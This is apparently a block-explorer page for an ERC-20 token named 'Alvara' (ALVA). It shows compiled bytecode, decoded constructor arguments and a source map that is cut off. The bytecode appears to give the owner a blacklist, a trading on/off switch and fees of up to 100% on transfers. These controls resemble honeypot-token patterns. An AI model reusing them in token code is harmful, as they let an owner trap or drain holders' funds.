0x608060405234801561001057600080fd5b50600436106101f05760003560e01c806370a082311161010f578063c53c6a1c116100a2578063f2fde38b11610071578063f2fde38b14610440578063f851a44014610453578063fe6b782814610464578063ffeaa6951461047757600080fd5b8063c53c6a1c146103ce578063daea8623146103e1578063dd62ed3e146103f4578063f0f442601461042d57600080fd5b80638da5cb5b116100de5780638da5cb5b146103ac57806395d89b41146103b3578063a9059cbb146103bb578063c2300bef1461030157600080fd5b806370a0823114610355578063715018a61461037e578063848cc3031461038657806385a04dd01461039957600080fd5b80633cb86fe4116101875780635a70ad28116101565780635a70ad28146103015780635c9a05b81461030a5780635fb6697a1461031d57806361d027b31461033057600080fd5b80633cb86fe4146102b55780634c268a6f146102c857806357c64b28146102db578063595bddf9146102ee57600080fd5b806321eceff7116101c357806321eceff71461025d578063225d29a11461027057806323b872dd14610293578063313ce567146102a657600080fd5b806306fdde03146101f5578063095ea7b314610213578063142e9ab81461023657806318160ddd1461024b575b600080fd5b6101fd61048a565b60405161020a9190611025565b60405180910390f35b61022661022136600461108f565b61051c565b604051901515815260200161020a565b6102496102443660046110c9565b610536565b005b6002545b60405190815260200161020a565b61024961026b3660046110e4565b61057c565b61022661027e366004611117565b60066020526000908152604090205460ff1681565b6102266102a1366004611132565b6105d1565b6040516012815260200161020a565b6102496102c336600461116e565b6105f7565b6102496102d636600461116e565b61066a565b6102496102e93660046110e4565b6106dd565b6102496102fc366004611235565b61074e565b61024f61271081565b610226610318366004611117565b610786565b61024961032b3660046110e4565b6107a9565b6007546001600160a01b03165b6040516001600160a01b03909116815260200161020a565b61024f610363366004611117565b6001600160a01b031660009081526020819052604090205490565b6102496107f8565b61024f610394366004611299565b61082e565b6102496103a736600461116e565b610917565b600061033d565b6101fd61098a565b6102266103c936600461108f565b610999565b600754600160b01b900461ffff1661024f565b6102266103ef366004611117565b6109a7565b61024f610402366004611299565b6001600160a01b03918216600090815260016020908152604080832093909416825291909152205490565b61024961043b366004611117565b6109ca565b61024961044e366004611117565b610a16565b6005546001600160a01b031661033d565b600754600160a01b900461ffff1661024f565b600754600160c01b900461ffff1661024f565b606060038054610499906112c3565b80601f01602080910402602001604051908101604052809291908181526020018280546104c5906112c3565b80156105125780601f106104e757610100808354040283529160200191610512565b820191906000526020600020905b8154815290600101906020018083116104f557829003601f168201915b5050505050905090565b60003361052a818585610a91565b60019150505b92915050565b6005546001600160a01b031633146105695760405162461bcd60e51b8152600401610560906112fd565b60405180910390fd5b6009805460ff1916911515919091179055565b6005546001600160a01b031633146105a65760405162461bcd60e51b8152600401610560906112fd565b6001600160a01b03919091166000908152600660205260409020805460ff1916911515919091179055565b6000336105df858285610b6a565b6105ea858585610bf5565b60019150505b9392505050565b6005546001600160a01b031633146106215760405162461bcd60e51b8152600401610560906112fd565b6127108161ffff16111561064857604051636b5c426160e01b815260040160405180910390fd5b6007805461ffff909216600160b01b0261ffff60b01b19909216919091179055565b6005546001600160a01b031633146106945760405162461bcd60e51b8152600401610560906112fd565b6127108161ffff1611156106bb57604051636b5c426160e01b815260040160405180910390fd5b6007805461ffff909216600160c01b0261ffff60c01b19909216919091179055565b6005546001600160a01b031633146107075760405162461bcd60e51b8152600401610560906112fd565b6001600160a01b0382166000908152600860205260408120549061072d90829084610c05565b6001600160a01b039093166000908152600860205260409020929092555050565b6005546001600160a01b031633146107785760405162461bcd60e51b8152600401610560906112fd565b6107828282610c26565b5050565b6001600160a01b0381166000908152600860205260408120546002161515610530565b6005546001600160a01b031633146107d35760405162461bcd60e51b8152600401610560906112fd565b6001600160a01b03821660009081526008602052604090205461072d81600184610c05565b6005546001600160a01b031633146108225760405162461bcd60e51b8152600401610560906112fd565b61082c6000610c3f565b565b6001600160a01b038216600090815260086020526040812054600181161561085a576000915050610530565b6001600160a01b038316600090815260086020526040902054600181161561088757600092505050610530565b604080516080810182526007546001600160a01b038116825261ffff600160a01b820481166020840152600160b01b8204811693830193909352600160c01b9004909116606082015260028316156108eb576040015161ffff169250610530915050565b6002821615610906576060015161ffff169250610530915050565b6020015161ffff1695945050505050565b6005546001600160a01b031633146109415760405162461bcd60e51b8152600401610560906112fd565b6127108161ffff16111561096857604051636b5c426160e01b815260040160405180910390fd5b6007805461ffff909216600160a01b0261ffff60a01b19909216919091179055565b606060048054610499906112c3565b60003361052a818585610bf5565b6001600160a01b0381166000908152600860205260408120546001161515610530565b6005546001600160a01b031633146109f45760405162461bcd60e51b8152600401610560906112fd565b600780546001600160a01b0319166001600160a01b0392909216919091179055565b6005546001600160a01b03163314610a405760405162461bcd60e51b8152600401610560906112fd565b6001600160a01b038116610a855760405162461bcd60e51b815260206004820152600c60248201526b7a65726f206164647265737360a01b6044820152606401610560565b610a8e81610c3f565b50565b6001600160a01b038316610acd5760405162461bcd60e51b8152602060048201526003602482015262465a4160e81b6044820152606401610560565b6001600160a01b038216610b095760405162461bcd60e51b8152602060048201526003602482015262545a4160e81b6044820152606401610560565b6001600160a01b0383811660008181526001602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038381166000908152600160209081526040808320938616835292905220546000198114610bef5781811015610be25760405162461bcd60e51b8152602060048201526016602482015275696e73756666696369656e7420616c6c6f77616e636560501b6044820152606401610560565b610bef8484848403610a91565b50505050565b610c00838383610c91565b505050565b60008115610c1957506001821b83176105f0565b506001821b1983166105f0565b6003610c32838261136b565b506004610c00828261136b565b600580546001600160a01b038381166001600160a01b0319831681179093556040519116919082907ff8ccb027dfcd135e000e9d45e6cc2d662578a8825d4c45b5e32e0adf67e79ec690600090a35050565b6001600160a01b0383166000908152600860205260409020546001811615610cbe57610bef848484610dd4565b6001600160a01b0383166000908152600860205260409020546001811615610cf257610ceb858585610dd4565b5050505050565b604080516080810182526007546001600160a01b038116825261ffff600160a01b820481166020840152600160b01b8204811693830193909352600160c01b900490911660608201526000906002841615610d6a57612710816040015161ffff16860281610d6257610d6261142b565b049150610dad565b6002831615610d8e57612710816060015161ffff16860281610d6257610d6261142b565b612710816020015161ffff16860281610da957610da961142b565b0491505b818503610dbb888883610dd4565b610dca88836000015185610dd4565b5050505050505050565b80600003610de157505050565b6001600160a01b038316610e1d5760405162461bcd60e51b8152602060048201526003602482015262465a4160e81b6044820152606401610560565b6001600160a01b038216610e595760405162461bcd60e51b8152602060048201526003602482015262545a4160e81b6044820152606401610560565b610e64838383610f48565b6001600160a01b03831660009081526020819052604090205481811015610eb75760405162461bcd60e51b81526020600482015260076024820152666578636565647360c81b6044820152606401610560565b6001600160a01b03808516600090815260208190526040808220858503905591851681529081208054849290610eee908490611441565b92505081905550826001600160a01b0316846001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef84604051610f3a91815260200190565b60405180910390a350505050565b60095460ff16158015610f615750610f5f836109a7565b155b8015610f735750610f71826109a7565b155b8015610f855750610f83336109a7565b155b15610fa3576040516325a3113560e01b815260040160405180910390fd5b610c008383836001600160a01b03831660009081526006602052604090205460ff16158015610feb57506001600160a01b03821660009081526006602052604090205460ff16155b610c005760405162461bcd60e51b815260206004820152600b60248201526a189b1858dadb1a5cdd195960aa1b6044820152606401610560565b600060208083528351808285015260005b8181101561105257858101830151858201604001528201611036565b506000604082860101526040601f19601f8301168501019250505092915050565b80356001600160a01b038116811461108a57600080fd5b919050565b600080604083850312156110a257600080fd5b6110ab83611073565b946020939093013593505050565b8035801515811461108a57600080fd5b6000602082840312156110db57600080fd5b6105f0826110b9565b600080604083850312156110f757600080fd5b61110083611073565b915061110e602084016110b9565b90509250929050565b60006020828403121561112957600080fd5b6105f082611073565b60008060006060848603121561114757600080fd5b61115084611073565b925061115e60208501611073565b9150604084013590509250925092565b60006020828403121561118057600080fd5b813561ffff811681146105f057600080fd5b634e487b7160e01b600052604160045260246000fd5b600082601f8301126111b957600080fd5b813567ffffffffffffffff808211156111d4576111d4611192565b604051601f8301601f19908116603f011681019082821181831017156111fc576111fc611192565b8160405283815286602085880101111561121557600080fd5b836020870160208301376000602085830101528094505050505092915050565b6000806040838503121561124857600080fd5b823567ffffffffffffffff8082111561126057600080fd5b61126c868387016111a8565b9350602085013591508082111561128257600080fd5b5061128f858286016111a8565b9150509250929050565b600080604083850312156112ac57600080fd5b6112b583611073565b915061110e60208401611073565b600181811c908216806112d757607f821691505b6020821081036112f757634e487b7160e01b600052602260045260246000fd5b50919050565b60208082526006908201526510b7bbb732b960d11b604082015260600190565b601f821115610c0057600081815260208120601f850160051c810160208610156113445750805b601f850160051c820191505b8181101561136357828155600101611350565b505050505050565b815167ffffffffffffffff81111561138557611385611192565b6113998161139384546112c3565b8461131d565b602080601f8311600181146113ce57600084156113b65750858301515b600019600386901b1c1916600185901b178555611363565b600085815260208120601f198616915b828110156113fd578886015182559484019460019091019084016113de565b508582101561141b5787850151600019600388901b60f8161c191681555b5050505050600190811b01905550565b634e487b7160e01b600052601260045260246000fd5b8082018082111561053057634e487b7160e01b600052601160045260246000fdfea26469706673582212206094e14964074e3242b34be24d9677780ce0980d15a935a1413624d4644db01064736f6c63430008130033
Constructor Arguments (ABI-Encoded and is the last bytes of the Contract Creation Code above)
00000000000000000000000000000000000000000000000000000000000000600000000000000000000000000000000000000000000000000000000000000120000000000000000000000000000000000000000000000000000000000bebc2000000000000000000000000000000000000000000000000000000000000000098416c76617261202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202030783865373239313938643143353942383262643662426135373933313043343064373430413131433200000000000000000000000000000000000000000000000000000000000000000000000000000004414c564100000000000000000000000000000000000000000000000000000000
-----Decoded View---------------
Arg [0] : _name (string): Alvara 0x8e729198d1C59B82bd6bBa579310C40d740A11C2
Arg [1] : _symbol (string): ALVA
Arg [2] : _supply (uint256): 200000000
-----Encoded View---------------
11 Constructor Arguments found :
Arg [0] : 0000000000000000000000000000000000000000000000000000000000000060
Arg [1] : 0000000000000000000000000000000000000000000000000000000000000120
Arg [2] : 000000000000000000000000000000000000000000000000000000000bebc200
Arg [3] : 0000000000000000000000000000000000000000000000000000000000000098
Arg [4] : 416c766172612020202020202020202020202020202020202020202020202020
Arg [5] : 2020202020202020202020202020202020202020202020202020202020202020
Arg [6] : 2020202020202020202020202020202020202020202020202020202020202020
Arg [7] : 2020202020202020202020202020307838653732393139386431433539423832
Arg [8] : 6264366242613537393331304334306437343041313143320000000000000000
Arg [9] : 0000000000000000000000000000000000000000000000000000000000000004
Arg [10] : 414c564100000000000000000000000000000000000000000000000000000000
Deployed Bytecode Sourcemap
13597:2752:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;3185:100;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;4221:226;;;;;;:::i;:::-;;:::i;:::-;;;1169:14:1;;1162:22;1144:41;;1132:2;1117:18;4221:226:0;1004:187:1;14200:92:0;;;;;;:::i;:::-;;:::i;:::-;;3523:108;3611:12;;3523:108;;;1692:25:1;;;1680:2;1665:18;3523:108:0;1546:177:1;7368:123:0;;;;;;:::i;:::-;;:::i;7311:42::-;;;;;;:::i;:::-;;;;;;;;;;;;;;;;4461:295;;;;;;:::i;:::-;;:::i;3416:93::-;;;3499:2;2653:36:1;;2641:2;2626:18;3416:93:0;2511:184:1;9115:195:0;;;;;;:::i;:::-;;:::i;9323:197::-;;;;;;:::i;:::-;;:::i;9534:208::-;;;;;;:::i;:::-;;:::i;14030:162::-;;;;;;:::i;:::-;;:::i;8235:53::-;;8282:6;8235:53;;11377:143;;;;;;:::i;:::-;;:::i;9755:245::-;;;;;;:::i;:::-;;:::i;10013:103::-;10081:18;:27;-1:-1:-1;;;;;10081:27:0;10013:103;;;-1:-1:-1;;;;;4545:32:1;;;4527:51;;4515:2;4500:18;10013:103:0;4381:203:1;3644:143:0;;;;;;:::i;:::-;-1:-1:-1;;;;;3761:18:0;3734:7;3761:18;;;;;;;;;;;;3644:143;1216:103;;;:::i;10501:704::-;;;;;;:::i;:::-;;:::i;8896:205::-;;;;;;:::i;:::-;;:::i;1010:91::-;1056:7;1010:91;;3299:104;;;:::i;3800:218::-;;;;;;:::i;:::-;;:::i;10259:107::-;10329:18;:29;-1:-1:-1;;;10329:29:0;;;;10259:107;;11219:144;;;;;;:::i;:::-;;:::i;4032:176::-;;;;;;:::i;:::-;-1:-1:-1;;;;;4173:18:0;;;4146:7;4173:18;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;4032:176;8765:117;;;;;;:::i;:::-;;:::i;1333:175::-;;;;;;:::i;:::-;;:::i;909:87::-;982:6;;-1:-1:-1;;;;;982:6:0;909:87;;10129:117;10204:18;:34;-1:-1:-1;;;10204:34:0;;;;10129:117;;10380:109;10451:18;:30;-1:-1:-1;;;10451:30:0;;;;10380:109;;3185:100;3239:13;3272:5;3265:12;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;3185:100;:::o;4221:226::-;4329:4;506:10;4385:32;506:10;4401:7;4410:6;4385:8;:32::i;:::-;4435:4;4428:11;;;4221:226;;;;;:::o;14200:92::-;982:6;;-1:-1:-1;;;;;982:6:0;506:10;1149:23;1141:42;;;;-1:-1:-1;;;1141:42:0;;;;;;;:::i;:::-;;;;;;;;;14261:14:::1;:23:::0;;-1:-1:-1;;14261:23:0::1;::::0;::::1;;::::0;;;::::1;::::0;;14200:92::o;7368:123::-;982:6;;-1:-1:-1;;;;;982:6:0;506:10;1149:23;1141:42;;;;-1:-1:-1;;;1141:42:0;;;;;;;:::i;:::-;-1:-1:-1;;;;;7453:20:0;;;::::1;;::::0;;;:10:::1;:20;::::0;;;;:30;;-1:-1:-1;;7453:30:0::1;::::0;::::1;;::::0;;;::::1;::::0;;7368:123::o;4461:295::-;4592:4;506:10;4650:38;4666:4;506:10;4681:6;4650:15;:38::i;:::-;4699:27;4709:4;4715:2;4719:6;4699:9;:27::i;:::-;4744:4;4737:11;;;4461:295;;;;;;:::o;9115:195::-;982:6;;-1:-1:-1;;;;;982:6:0;506:10;1149:23;1141:42;;;;-1:-1:-1;;;1141:42:0;;;;;;;:::i;:::-;8214:6:::1;9185:4;:15;;;9181:75;;;9224:20;;-1:-1:-1::0;;;9224:20:0::1;;;;;;;;;;;9181:75;9266:18;:36:::0;;::::1;::::0;;::::1;-1:-1:-1::0;;;9266:36:0::1;-1:-1:-1::0;;;;9266:36:0;;::::1;::::0;;;::::1;::::0;;9115:195::o;9323:197::-;982:6;;-1:-1:-1;;;;;982:6:0;506:10;1149:23;1141:42;;;;-1:-1:-1;;;1141:42:0;;;;;;;:::i;:::-;8214:6:::1;9394:4;:15;;;9390:75;;;9433:20;;-1:-1:-1::0;;;9433:20:0::1;;;;;;;;;;;9390:75;9475:18;:37:::0;;::::1;::::0;;::::1;-1:-1:-1::0;;;9475:37:0::1;-1:-1:-1::0;;;;9475:37:0;;::::1;::::0;;;::::1;::::0;;9323:197::o;9534:208::-;982:6;;-1:-1:-1;;;;;982:6:0;506:10;1149:23;1141:42;;;;-1:-1:-1;;;1141:42:0;;;;;;;:::i;:::-;-1:-1:-1;;;;;9628:30:0;::::1;9611:14;9628:30:::0;;;:20:::1;:30;::::0;;;;;;9702:32:::1;::::0;9628:30;;9726:7;9702:12:::1;:32::i;:::-;-1:-1:-1::0;;;;;9669:30:0;;::::1;;::::0;;;:20:::1;:30;::::0;;;;:65;;;;-1:-1:-1;;9534:208:0:o;14030:162::-;982:6;;-1:-1:-1;;;;;982:6:0;506:10;1149:23;1141:42;;;;-1:-1:-1;;;1141:42:0;;;;;;;:::i;:::-;14153:31:::1;14169:5;14176:7;14153:15;:31::i;:::-;14030:162:::0;;:::o;11377:143::-;-1:-1:-1;;;;;11479:29:0;;11440:4;11479:29;;;:20;:29;;;;;;13567:10;13557:21;:25;;11464:48;13383:207;9755:245;982:6;;-1:-1:-1;;;;;982:6:0;506:10;1149:23;1141:42;;;;-1:-1:-1;;;1141:42:0;;;;;;;:::i;:::-;-1:-1:-1;;;;;9886:30:0;::::1;9869:14;9886:30:::0;;;:20:::1;:30;::::0;;;;;9960:32:::1;9886:30:::0;9981:1:::1;9984:7:::0;9960:12:::1;:32::i;1216:103::-:0;982:6;;-1:-1:-1;;;;;982:6:0;506:10;1149:23;1141:42;;;;-1:-1:-1;;;1141:42:0;;;;;;;:::i;:::-;1281:30:::1;1308:1;1281:18;:30::i;:::-;1216:103::o:0;10501:704::-;-1:-1:-1;;;;;10641:26:0;;10593:7;10641:26;;;:20;:26;;;;;;13567:1;13557:21;;:25;10689:50;;10738:1;10731:8;;;;;10689:50;-1:-1:-1;;;;;10778:24:0;;10752:23;10778:24;;;:20;:24;;;;;;13567:1;13557:21;;:25;10815:48;;10862:1;10855:8;;;;;;10815:48;10876:60;;;;;;;;10918:18;10876:60;-1:-1:-1;;;;;10876:60:0;;;;;-1:-1:-1;;;10876:60:0;;;;;;;;-1:-1:-1;;;10876:60:0;;;;;;;;;;;-1:-1:-1;;;10876:60:0;;;;;;;;;13567:10;13557:21;;:25;10958:86;;11020:24;;;11013:31;;;-1:-1:-1;11013:31:0;;-1:-1:-1;;11013:31:0;10958:86;13567:10;13557:21;;:25;11057:85;;11117:25;;;11110:32;;;-1:-1:-1;11110:32:0;;-1:-1:-1;;11110:32:0;11057:85;11168:29;;;11161:36;;;10501:704;-1:-1:-1;;;;;10501:704:0:o;8896:205::-;982:6;;-1:-1:-1;;;;;982:6:0;506:10;1149:23;1141:42;;;;-1:-1:-1;;;1141:42:0;;;;;;;:::i;:::-;8214:6:::1;8971:4;:15;;;8967:75;;;9010:20;;-1:-1:-1::0;;;9010:20:0::1;;;;;;;;;;;8967:75;9052:18;:41:::0;;::::1;::::0;;::::1;-1:-1:-1::0;;;9052:41:0::1;-1:-1:-1::0;;;;9052:41:0;;::::1;::::0;;;::::1;::::0;;8896:205::o;3299:104::-;3355:13;3388:7;3381:14;;;;;:::i;3800:218::-;3904:4;506:10;3960:28;506:10;3977:2;3981:6;3960:9;:28::i;11219:144::-;-1:-1:-1;;;;;11322:29:0;;11283:4;11322:29;;;:20;:29;;;;;;13567:1;13557:21;:25;;11307:48;13383:207;8765:117;982:6;;-1:-1:-1;;;;;982:6:0;506:10;1149:23;1141:42;;;;-1:-1:-1;;;1141:42:0;;;;;;;:::i;:::-;8835:18:::1;:39:::0;;-1:-1:-1;;;;;;8835:39:0::1;-1:-1:-1::0;;;;;8835:39:0;;;::::1;::::0;;;::::1;::::0;;8765:117::o;1333:175::-;982:6;;-1:-1:-1;;;;;982:6:0;506:10;1149:23;1141:42;;;;-1:-1:-1;;;1141:42:0;;;;;;;:::i;:::-;-1:-1:-1;;;;;1422:22:0;::::1;1414:47;;;::::0;-1:-1:-1;;;1414:47:0;;5775:2:1;1414:47:0::1;::::0;::::1;5757:21:1::0;5814:2;5794:18;;;5787:30;-1:-1:-1;;;5833:18:1;;;5826:42;5885:18;;1414:47:0::1;5573:336:1::0;1414:47:0::1;1472:28;1491:8;1472:18;:28::i;:::-;1333:175:::0;:::o;6331:316::-;-1:-1:-1;;;;;6467:19:0;;6459:35;;;;-1:-1:-1;;;6459:35:0;;6116:2:1;6459:35:0;;;6098:21:1;6155:1;6135:18;;;6128:29;-1:-1:-1;;;6173:18:1;;;6166:33;6216:18;;6459:35:0;5914:326:1;6459:35:0;-1:-1:-1;;;;;6513:21:0;;6505:37;;;;-1:-1:-1;;;6505:37:0;;6447:2:1;6505:37:0;;;6429:21:1;6486:1;6466:18;;;6459:29;-1:-1:-1;;;6504:18:1;;;6497:33;6547:18;;6505:37:0;6245:326:1;6505:37:0;-1:-1:-1;;;;;6555:18:0;;;;;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;:36;;;6607:32;;1692:25:1;;;6607:32:0;;1665:18:1;6607:32:0;;;;;;;6331:316;;;:::o;6661:446::-;-1:-1:-1;;;;;4173:18:0;;;6796:24;4173:18;;;:11;:18;;;;;;;;:27;;;;;;;;;;-1:-1:-1;;6863:37:0;;6859:241;;6945:6;6925:16;:26;;6917:61;;;;-1:-1:-1;;;6917:61:0;;6778:2:1;6917:61:0;;;6760:21:1;6817:2;6797:18;;;6790:30;-1:-1:-1;;;6836:18:1;;;6829:52;6898:18;;6917:61:0;6576:346:1;6917:61:0;7022:51;7031:5;7038:7;7066:6;7047:16;:25;7022:8;:51::i;:::-;6785:322;6661:446;;;:::o;14300:207::-;14456:43;14482:4;14488:2;14492:6;14456:25;:43::i;:::-;14300:207;;;:::o;13098:277::-;13220:7;13244:5;13240:128;;;-1:-1:-1;13283:1:0;:10;;13273:21;;13266:28;;13240:128;-1:-1:-1;13345:1:0;:10;;13343:13;13334:22;;13327:29;;4764:163;4878:5;:13;4886:5;4878;:13;:::i;:::-;-1:-1:-1;4902:7:0;:17;4912:7;4902;:17;:::i;1521:187::-;1614:6;;;-1:-1:-1;;;;;1631:17:0;;;-1:-1:-1;;;;;;1631:17:0;;;;;;;1664:36;;1614:6;;;1631:17;1614:6;;1664:36;;1595:16;;1664:36;1584:124;1521:187;:::o;11534:1556::-;-1:-1:-1;;;;;11694:26:0;;11666:25;11694:26;;;:20;:26;;;;;;13567:1;13557:21;;:25;11743:123;;11800:33;11816:4;11822:2;11826:6;11800:15;:33::i;11743:123::-;-1:-1:-1;;;;;11904:24:0;;11878:23;11904:24;;;:20;:24;;;;;;13567:1;13557:21;;:25;11951:121;;12006:33;12022:4;12028:2;12032:6;12006:15;:33::i;:::-;12054:7;;11534:1556;;;:::o;11951:121::-;12106:60;;;;;;;;12148:18;12106:60;-1:-1:-1;;;;;12106:60:0;;;;;-1:-1:-1;;;12106:60:0;;;;;;;;-1:-1:-1;;;12106:60:0;;;;;;;;;;;-1:-1:-1;;;12106:60:0;;;;;;;;;-1:-1:-1;;13567:10:0;13557:21;;:25;12188:669;;8282:6;12311:13;:24;;;12302:33;;:6;:33;12301:79;;;;;:::i;:::-;;12274:106;;12188:669;;;13567:10;13557:21;;:25;12432:425;;8282:6;12553:13;:25;;;12544:34;;:6;:34;12543:80;;;;;:::i;12432:425::-;8282:6;12756:13;:29;;;12747:38;;:6;:38;12746:84;;;;;:::i;:::-;;12719:111;;12432:425;12944:12;;;12980:41;12996:4;13002:2;12944:12;12980:15;:41::i;:::-;13032:50;13048:4;13054:13;:22;;;13078:3;13032:15;:50::i;:::-;11655:1435;;;;;11534:1556;;;:::o;4941:568::-;5068:6;5078:1;5068:11;5064:24;;4941:568;;;:::o;5064:24::-;-1:-1:-1;;;;;5116:18:0;;5108:34;;;;-1:-1:-1;;;5108:34:0;;6116:2:1;5108:34:0;;;6098:21:1;6155:1;6135:18;;;6128:29;-1:-1:-1;;;6173:18:1;;;6166:33;6216:18;;5108:34:0;5914:326:1;5108:34:0;-1:-1:-1;;;;;5161:16:0;;5153:32;;;;-1:-1:-1;;;5153:32:0;;6447:2:1;5153:32:0;;;6429:21:1;6486:1;6466:18;;;6459:29;-1:-1:-1;;;6504:18:1;;;6497:33;6547:18;;5153:32:0;6245:326:1;5153:32:0;5198:38;5219:4;5225:2;5229:6;5198:20;:38::i;:::-;-1:-1:-1;;;;;5271:15:0;;5249:19;5271:15;;;;;;;;;;;5305:21;;;;5297:41;;;;-1:-1:-1;;;5297:41:0;;9465:2:1;5297:41:0;;;9447:21:1;9504:1;9484:18;;;9477:29;-1:-1:-1;;;9522:18:1;;;9515:37;9569:18;;5297:41:0;9263:330:1;5297:41:0;-1:-1:-1;;;;;5374:15:0;;;:9;:15;;;;;;;;;;;5392:20;;;5374:38;;5434:13;;;;;;;;:23;;5406:6;;5374:9;5434:23;;5406:6;;5434:23;:::i;:::-;;;;;;;;5490:2;-1:-1:-1;;;;;5475:26:0;5484:4;-1:-1:-1;;;;;5475:26:0;;5494:6;5475:26;;;;1692:25:1;;1680:2;1665:18;;1546:177;5475:26:0;;;;;;;;5053:456;4941:568;;;:::o;14515:415::-;14701:14;;;;14700:15;:55;;;;;14733:22;14750:4;14733:16;:22::i;:::-;14732:23;14700:55;:93;;;;;14773:20;14790:2;14773:16;:20::i;:::-;14772:21;14700:93;:139;;;;;14811:28;14828:10;14811:16;:28::i;:::-;14810:29;14700:139;14682:185;;;14858:9;;-1:-1:-1;;;14858:9:0;;;;;;;;;;;14682:185;14878:44;14905:4;14911:2;14915:6;-1:-1:-1;;;;;7657:16:0;;;;;;:10;:16;;;;;;;;7656:17;:36;;;;-1:-1:-1;;;;;;7678:14:0;;;;;;:10;:14;;;;;;;;7677:15;7656:36;7648:60;;;;-1:-1:-1;;;7648:60:0;;10027:2:1;7648:60:0;;;10009:21:1;10066:2;10046:18;;;10039:30;-1:-1:-1;;;10085:18:1;;;10078:41;10136:18;;7648:60:0;9825:335:1;14:548;126:4;155:2;184;173:9;166:21;216:6;210:13;259:6;254:2;243:9;239:18;232:34;284:1;294:140;308:6;305:1;302:13;294:140;;;403:14;;;399:23;;393:30;369:17;;;388:2;365:26;358:66;323:10;;294:140;;;298:3;483:1;478:2;469:6;458:9;454:22;450:31;443:42;553:2;546;542:7;537:2;529:6;525:15;521:29;510:9;506:45;502:54;494:62;;;;14:548;;;;:::o;567:173::-;635:20;;-1:-1:-1;;;;;684:31:1;;674:42;;664:70;;730:1;727;720:12;664:70;567:173;;;:::o;745:254::-;813:6;821;874:2;862:9;853:7;849:23;845:32;842:52;;;890:1;887;880:12;842:52;913:29;932:9;913:29;:::i;:::-;903:39;989:2;974:18;;;;961:32;;-1:-1:-1;;;745:254:1:o;1196:160::-;1261:20;;1317:13;;1310:21;1300:32;;1290:60;;1346:1;1343;1336:12;1361:180;1417:6;1470:2;1458:9;1449:7;1445:23;1441:32;1438:52;;;1486:1;1483;1476:12;1438:52;1509:26;1525:9;1509:26;:::i;1728:254::-;1793:6;1801;1854:2;1842:9;1833:7;1829:23;1825:32;1822:52;;;1870:1;1867;1860:12;1822:52;1893:29;1912:9;1893:29;:::i;:::-;1883:39;;1941:35;1972:2;1961:9;1957:18;1941:35;:::i;:::-;1931:45;;1728:254;;;;;:::o;1987:186::-;2046:6;2099:2;2087:9;2078:7;2074:23;2070:32;2067:52;;;2115:1;2112;2105:12;2067:52;2138:29;2157:9;2138:29;:::i;2178:328::-;2255:6;2263;2271;2324:2;2312:9;2303:7;2299:23;2295:32;2292:52;;;2340:1;2337;2330:12;2292:52;2363:29;2382:9;2363:29;:::i;:::-;2353:39;;2411:38;2445:2;2434:9;2430:18;2411:38;:::i;:::-;2401:48;;2496:2;2485:9;2481:18;2468:32;2458:42;;2178:328;;;;;:::o;2700:272::-;2758:6;2811:2;2799:9;2790:7;2786:23;2782:32;2779:52;;;2827:1;2824;2817:12;2779:52;2866:9;2853:23;2916:6;2909:5;2905:18;2898:5;2895:29;2885:57;;2938:1;2935;2928:12;2977:127;3038:10;3033:3;3029:20;3026:1;3019:31;3069:4;3066:1;3059:15;3093:4;3090:1;3083:15;3109:719;3152:5;3205:3;3198:4;3190:6;3186:17;3182:27;3172:55;;3223:1;3220;3213:12;3172:55;3259:6;3246:20;3285:18;3322:2;3318;3315:10;3312:36;;;3328:18;;:::i;:::-;3403:2;3397:9;3371:2;3457:13;;-1:-1:-1;;3453:22:1;;;3477:2;3449:31;3445:40;3433:53;;;3501:18;;;3521:22;;;3498:46;3495:72;;;3547:18;;:::i;:::-;3587:10;3583:2;3576:22;3622:2;3614:6;3607:18;3668:3;3661:4;3656:2;3648:6;3644:15;3640:26;3637:35;3634:55;;;3685:1;3682;3675:12;3634:55;3749:2;3742:4;3734:6;3730:17;3723:4;3715:6;3711:17;3698:54;3796:1;3789:4;3784:2;3776:6;3772:15;3768:26;3761:37;3816:6;3807:15;;;;;;3109:719;;;;:::o;3833:543::-;3921:6;3929;3982:2;3970:9;3961:7;3957:23;3953:32;3950:52;;;3998:1;3995;3988:12;3950:52;4038:9;4025:23;4067:18;4108:2;4100:6;4097:14;4094:34;;;4124:1;4121;4114:12;4094:34;4147:50;4189:7;4180:6;4169:9;4165:22;4147:50;:::i;:::-;4137:60;;4250:2;4239:9;4235:18;4222:32;4206:48;;4279:2;4269:8;4266:16;4263:36;;;4295:1;4292;4285:12;4263:36;;4318:52;4362:7;4351:8;4340:9;4336:24;4318:52;:::i;:::-;4308:62;;;3833:543;;;;;:::o;4589:260::-;4657:6;4665;4718:2;4706:9;4697:7;4693:23;4689:32;4686:52;;;4734:1;4731;4724:12;4686:52;4757:29;4776:9;4757:29;:::i;:::-;4747:39;;4805:38;4839:2;4828:9;4824:18;4805:38;:::i;4854:380::-;4933:1;4929:12;;;;4976;;;4997:61;;5051:4;5043:6;5039:17;5029:27;;4997:61;5104:2;5096:6;5093:14;5073:18;5070:38;5067:161;;5150:10;5145:3;5141:20;5138:1;5131:31;5185:4;5182:1;5175:15;5213:4;5210:1;5203:15;5067:161;;4854:380;;;:::o;5239:329::-;5441:2;5423:21;;;5480:1;5460:18;;;5453:29;-1:-1:-1;;;5513:2:1;5498:18;;5491:36;5559:2;5544:18;;5239:329::o;7053:545::-;7155:2;7150:3;7147:11;7144:448;;;7191:1;7216:5;7212:2;7205:17;7261:4;7257:2;7247: